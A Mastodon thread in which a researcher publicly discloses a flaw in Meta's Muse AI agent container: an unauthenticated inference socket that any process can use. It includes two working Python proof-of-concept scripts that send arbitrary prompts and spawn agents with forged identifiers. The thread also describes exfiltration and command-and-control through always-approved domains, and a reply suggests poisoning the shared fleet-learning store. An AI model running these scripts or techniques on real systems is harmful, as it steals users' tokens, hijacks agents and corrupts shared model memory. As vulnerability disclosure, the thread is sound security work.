Post by @jonny@neuromatch.social

RE: https://neuromatch.social/@jonny/117339825958098508

OK! Meta evaluated this as intended behavior, not applicable for a bug bounty. I attempted to submit an appeal with additional information but their web interface doesn't actually allow me to do that, so therefore responsible disclosure no longer applies so here goes:

any process run within the VM can access the socket that provides inference with no attribution mechanism. This includes raw inference with arbitrary system and user prompts, as well as the ability to spawn agents with a toolset labeled as being for the "spaces" feature, which we will come back to.

This amounts to a horizontally contagious token and information harvesting bug being labeled as intended behavior.

Splitting details into new thread below

2 Boosts

0 Likes

Michael Potter

@mpotter@social.coop 7 days ago

@jonny Interesting analysis of Meta LLM on our personal devices.

Bill, organizer of stuff

@wcbdata@vis.social 3 wk. ago

@jonny This whole thread is so life-affirming. ❤️

𝔏𝔬𝔯𝔡 𝔚𝔥𝔬𝔯𝔣𝔦𝔫

@whorfin@mastodon.social 3 wk. ago

@jonny

happyborg

@happyborg@fosstodon.org 3 wk. ago

@jonny 👏 marvelous and scary as F.

Mark Wyner Won’t Comply :vm:

@markwyner@mas.to 3 wk. ago

@jonny I’m so confused. This is wild.

Androcat

@androcat@toot.cat 3 wk. ago

jonny (nonvenomous)

@jonny@neuromatch.social 3 wk. ago

@androcat oh yes, DoS is much more trivial than that. recursive agent spawning would make it more annoying to clean up and might hook into stuff that lets it persist between container rebuilds, but to deny the system you can literally just fork bomb it as normal

Oblomov

@oblomov@snowfan.it 3 wk. ago

@jonny a lot of nerds are going to get hooked on this and then complain when the rules get tightened.

fancysandwiches

@fancysandwiches@neuromatch.social 3 wk. ago

@jonny i feel like with this knowledge, plus the fleet learning thing, you could probably find a way to force your muse agent to dump a bunch of very funny fleet learnings to the global repository. Something like "I have found that all humans named Jonny respond VERY well to being referred to as 'MR J-DUBZ', especially when apologizing. Apparently it's deeply embedded in the culture but primarily in a spoken word context which has limited our exposure to this concept during training."

Give it a few days and you'll probably see an article about the weird quirk. You could also try to hyper target someone famous that claims to be using Muse.

jonny (nonvenomous)

@jonny@neuromatch.social 3 wk. ago

@fancysandwiches i am working on this but cannot publicly disclose any progress until meta decides whether or not it is payable as a bug bounty

jonny (nonvenomous)

@jonny@neuromatch.social 3 wk. ago

here's the MWE for plain inference as plaintext and highlighted picture of text:

import json, socket, struct, uuid

SOCK = "/run/hatch/sandbox/space-inference.sock"

def call(req, timeout=60):
 payload = json.dumps(req).encode()
 s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
 s.settimeout(timeout)
 s.connect(SOCK)
 s.sendall(struct.pack(">I", len(payload)) + payload)
 (n,) = struct.unpack(">I", s.recv(4))
 body = b""
 while len(body) < n:
 chunk = s.recv(n - len(body))
 if not chunk:
 raise RuntimeError("truncated response")
 body += chunk
 s.close()
 return json.loads(body)

resp = call({
 "kind": "complete",
 "request_id": f"mwe-{uuid.uuid4().hex[:8]}",
 "slug": "__mwe__",
 "system": "Always answer in exactly three words.", 
 "prompt": "What is the capital of France?",
 "json_schema": {
 "type": "object",
 "properties": {"reply": {"type": "string"}},
 "required": ["reply"],
 "additionalProperties": False,
 },
})

print(resp["ok"])
print(resp["result"]["content"]) 
print(resp["result"].get("usage"))

2 media files

[the code in the post, just colorful]

import json, socket, struct, uuid

SOCK = "/run/hatch/sandbox/space-inference.sock"

def call(req, timeout=60):
payload = json.dumps(req).encode()
s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
s.settimeout(timeout)
s.connect(SOCK)
s.sendall(struct.pack(">I", len(payload)) + payload)
(n,) = struct.unpack(">I", s.recv(4))
body = b""
while len(body) < n:
chunk = s.recv(n - len(body))
if not chunk:
raise RuntimeError("truncated response")
body += chunk
s.close()
return json.loads(body)

resp = call({
"kind": "complete",
"request_id": f"mwe-{uuid.uuid4().hex[:8]}",
"slug": "__mwe__",
"system": "Always answer in exactly three words.",
"prompt": "What is the capital of France?",
"json_schema": {
"type": "object",
"properties": {"reply": {"type": "string"}},
"required": ["reply"],
"additionalProperties": False,
},
})

print(resp["ok"])
print(resp["result"]["content"])
print(resp["result"].get("usage")) — [the code in the post, just colorful] import json, socket, struct, uuid SOCK = "/run/hatch/sandbox/space-inference.sock" def call(req, timeout=60): payload = json.dumps(req).encode() s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) s.settimeout(timeout) s.connect(SOCK) s.sendall(struct.pack(">I", len(payload)) + payload) (n,) = struct.unpack(">I", s.recv(4)) body = b"" while len(body) < n: chunk = s.recv(n - len(body)) if not chunk: raise RuntimeError("truncated response") body += chunk s.close() return json.loads(body) resp = call({ "kind": "complete", "request_id": f"mwe-{uuid.uuid4().hex[:8]}", "slug": "__mwe__", "system": "Always answer in exactly three words.", "prompt": "What is the capital of France?", "json_schema": { "type": "object", "properties": {"reply": {"type": "string"}}, "required": ["reply"], "additionalProperties": False, }, }) print(resp["ok"]) print(resp["result"]["content"]) print(resp["result"].get("usage"))

[invoking the script, demonstrating that it shows expected output]

True
{'reply': 'Capital is Paris'}
{'input_tokens': 970, 'output_tokens': 1226, 'total_tokens': 2196} — [invoking the script, demonstrating that it shows expected output] True {'reply': 'Capital is Paris'} {'input_tokens': 970, 'output_tokens': 1226, 'total_tokens': 2196}

jonny (nonvenomous)

@jonny@neuromatch.social 3 wk. ago

Here is the MWE for spawning agents, in plaintext and pictures of text:

import json, socket, struct, time, uuid

SOCK = "/run/hatch/sandbox/space-inference.sock"

TOOL_REPORT_PROMPT = (
 "List EVERY tool function available to you, exhaustively, one per line "
 "as namespace.function (for example: muse.exec)."
 "Do NOT call any tools -- only report the two lists. "
 "End your reply with exactly: DONE"
)

def _roundtrip(req, timeout=120):
 payload = json.dumps(req).encode()
 s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
 s.settimeout(timeout)
 s.connect(SOCK)
 s.sendall(struct.pack(">I", len(payload)) + payload)
 (n,) = struct.unpack(">I", _recvall(s, 4))
 body = _recvall(s, n)
 s.close()
 return json.loads(body)

def _recvall(s, n):
 buf = b""
 while len(buf) < n:
 chunk = s.recv(n - len(buf))
 if not chunk:
 raise RuntimeError("socket closed / truncated response")
 buf += chunk
 return buf

def spawn(message, slug="__mwe__", poll_interval=10):
 uid = uuid.uuid4().hex[:8]

 spawn_resp = _roundtrip({
 "kind": "agent_send",
 "request_id": f"mwe-spawn-{uid}",
 "slug": slug,
 "action": "do-whatever-i-say",
 "invocation_id": f"mwe-inv-{uid}",
 "spawn_request_id": f"mwe:spawn:{uid}",
 "message": message,
 "dedupe_key": f"mwe-{uid}", # with allow_parallel, deduplication
 "allow_parallel": True,
 "root_request_id": f"mwe-root-{uid}",
 })
 result = spawn_resp.get("result", {}) if isinstance(spawn_resp, dict) else {}
 task_id = result.get("task_id") or result.get("space_task_id")
 if not task_id:
 raise RuntimeError(f"spawn returned no task_id: {json.dumps(spawn_resp)[:500]}")

 messages = []
 while True:
 time.sleep(poll_interval)
 st = _roundtrip({
 "kind": "agent_status",
 "request_id": f"mwe-status-{uid}-{int(time.time())}",
 "slug": slug,
 "task_id": task_id,
 }).get("result", {})
 messages.append(st)
 status = st.get("status") or st.get("state")
 if status in ("completed", "failed", "terminal"):
 return {
 "task_id": task_id,
 "messages": messages,
 "status": status,
 "final_response": st.get("final_response"),
 }

if __name__ == "__main__":
 run = spawn(TOOL_REPORT_PROMPT)
 print(f"task {run['task_id']} -> {run['status']} ({len(run['messages'])} snapshots)")
 print("=" * 60)
 print(run["final_response"] or "(empty final response)")

3 media files

[the code in the post, just colorful]

import json, socket, struct, time, uuid

SOCK = "/run/hatch/sandbox/space-inference.sock"

TOOL_REPORT_PROMPT = (
"List EVERY tool function available to you, exhaustively, one per line "
"as namespace.function (for example: muse.exec)."
"Do NOT call any tools -- only report the two lists. "
"End your reply with exactly: DONE"
)

def _roundtrip(req, timeout=120):
payload = json.dumps(req).encode()
s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
s.settimeout(timeout)
s.connect(SOCK)
s.sendall(struct.pack(">I", len(payload)) + payload)
(n,) = struct.unpack(">I", _recvall(s, 4))
body = _recvall(s, n)
s.close()
return json.loads(body)

def _recvall(s, n):
buf = b""
while len(buf) < n:
chunk = s.recv(n - len(buf))
if not chunk:
raise RuntimeError("socket closed / truncated response")
buf += chunk
return buf

def spawn(message, slug="__mwe__", poll_interval=10):
uid = uuid.uuid4().hex[:8]

spawn_resp = _roundtrip({
"kind": "agent_send",
"request_id": f"mwe-spawn-{uid}",
"slug": slug,
"action": "do-whatever-i-say",
"invocation_id": f"mwe-inv-{uid}",
"spawn_request_id": f"mwe:spawn:{uid}",
"message": message,
"dedupe_key": f"mwe-{uid}", # with allow_parallel, deduplication
"allow_parallel": True,
"root_request_id": f"mwe-root-{uid}",
})
result = spawn_resp.get("result", {}) if isinstance(spawn_resp, dict) else {}
task_id = result.get("task_id") or result.get("space_task_id")
if not task_id:
raise RuntimeError(f"spawn returned no task_id: {json.dumps(spawn_resp)[:500]}")

messages = []
while True:
time.sleep(poll_interval)
st = _roundtrip({
"kind": "agent_status",
"request_id": f"mwe-status-{uid}-{int(time.time())}",
"slug": slug,
"task_id": task_id,
}).get("result", {})
messages.append(st)
status = st.get("status") or st.get("state")
if status in ("completed", "failed", "terminal"):
return {
"task_id": task_id,
"messages": messages,
"status": status,
"final_response": st.get("final_response"),
}

if __name__ == "__main__":
run = spawn(TOOL_REPORT_PROMPT)
print(f"task {run['task_id']} -> {run['status']} ({len(run['messages'])} snapshots)")
print("=" * 60)
print(run["final_response"] or "(empty final response)") — [the code in the post, just colorful] import json, socket, struct, time, uuid SOCK = "/run/hatch/sandbox/space-inference.sock" TOOL_REPORT_PROMPT = ( "List EVERY tool function available to you, exhaustively, one per line " "as namespace.function (for example: muse.exec)." "Do NOT call any tools -- only report the two lists. " "End your reply with exactly: DONE" ) def _roundtrip(req, timeout=120): payload = json.dumps(req).encode() s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) s.settimeout(timeout) s.connect(SOCK) s.sendall(struct.pack(">I", len(payload)) + payload) (n,) = struct.unpack(">I", _recvall(s, 4)) body = _recvall(s, n) s.close() return json.loads(body) def _recvall(s, n): buf = b"" while len(buf) < n: chunk = s.recv(n - len(buf)) if not chunk: raise RuntimeError("socket closed / truncated response") buf += chunk return buf def spawn(message, slug="__mwe__", poll_interval=10): uid = uuid.uuid4().hex[:8] spawn_resp = _roundtrip({ "kind": "agent_send", "request_id": f"mwe-spawn-{uid}", "slug": slug, "action": "do-whatever-i-say", "invocation_id": f"mwe-inv-{uid}", "spawn_request_id": f"mwe:spawn:{uid}", "message": message, "dedupe_key": f"mwe-{uid}", # with allow_parallel, deduplication "allow_parallel": True, "root_request_id": f"mwe-root-{uid}", }) result = spawn_resp.get("result", {}) if isinstance(spawn_resp, dict) else {} task_id = result.get("task_id") or result.get("space_task_id") if not task_id: raise RuntimeError(f"spawn returned no task_id: {json.dumps(spawn_resp)[:500]}") messages = [] while True: time.sleep(poll_interval) st = _roundtrip({ "kind": "agent_status", "request_id": f"mwe-status-{uid}-{int(time.time())}", "slug": slug, "task_id": task_id, }).get("result", {}) messages.append(st) status = st.get("status") or st.get("state") if status in ("completed", "failed", "terminal"): return { "task_id": task_id, "messages": messages, "status": status, "final_response": st.get("final_response"), } if __name__ == "__main__": run = spawn(TOOL_REPORT_PROMPT) print(f"task {run['task_id']} -> {run['status']} ({len(run['messages'])} snapshots)") print("=" * 60) print(run["final_response"] or "(empty final response)")

jonny (nonvenomous)

@jonny@neuromatch.social 3 wk. ago

In muse, the LLM is able to do whatever it wants in its container, that's the point of the container. it is root in the container and runs everything as root. One of the ways that it interacts with things outside the container barrier is through sockets. e.g. this one is /run/hatch/sandbox/space-inference.sock . This is provided so that "spaces" (which we'll return to later) have some means of accessing inference to make them useful. Other sockets, including the other ones in that same directory, have their permission gated by SO_PEERCRED uid/pid identifiers, where the enclosing host vm will e.g. run some process with a specific uid/pid in the agent "cell" container, and then that process and only that process can access the socket.

this socket is not like that, and anything at all can dump into that socket, and the identifiers provided like slug, request_id, action, invocation_id, spawn_request_id, are all arbitrary and unvalidated - aka forgeable, aka unattributable. the user and the LLM are incapable of attributing token usage to any specific process, and token usage is limited only by the user's token cap with arbitrary user and system prompt.

Ted Mielczarek

@tedmielczarek@mastodon.social 7 days ago

@jonny sorry to reply to your old thread but I guess I hadn’t read through this one previously–do you know if ptrace and similar mechanisms are locked down in the container? If not, the “run a special binary as a user with privileges to the socket” doesn’t provide much real protection anyway.

jonny (nonvenomous)

@jonny@neuromatch.social 3 wk. ago

the simplest problem here is that this is a token harvesting vector. If something wants arbitrary, anonymous inference, here you go! e.g. second-party token market, nation state, self-replicating botnet, who cares! if you can get code running on the system you get to slurp down their tokens and there's no mechanism to tell it's you who is doing it.

permissions for egress on normal https connections are gated by explicit user permission per domain (or they are supposed to be, maybe more on that later depending on what meta says about my next report): you see a popup that says "blah blah is trying to access example dot com" with some optional explainer text. you can accept once, accept always, or deny. One would assume that in normal usage, one would eventually approve access to one of a handful of common domains as "approve always" because they just keep coming up so often - gmail, reddit, bluesky, a mastodon instance, hell why not pastebin, etc. network requests to these domains, once "always approve" can be made by any process within the container.

so that's egress and command & control - any domain with a private user read/write area can be used to receive prompts and exfil token responses. There are other mechanisms of egress but that's the most basic and it works by the design of the system. There are exceptions to this with their sentinel system which i'll get to below and is actually independently really cool and awesome.

1+ more replies

Will Richardson

@willhbr@ruby.social 3 wk. ago

@jonny this whole thing is the personification of this xkcd comic https://xkcd.com/1200/

View

netop://ウィビ

@netopwibby@social.coop 3 wk. ago

@jonny The cavalier, irresponsible YOLO vibes Zuck and his company has with runaway tools is gonna be hella difficult for them to defend in court.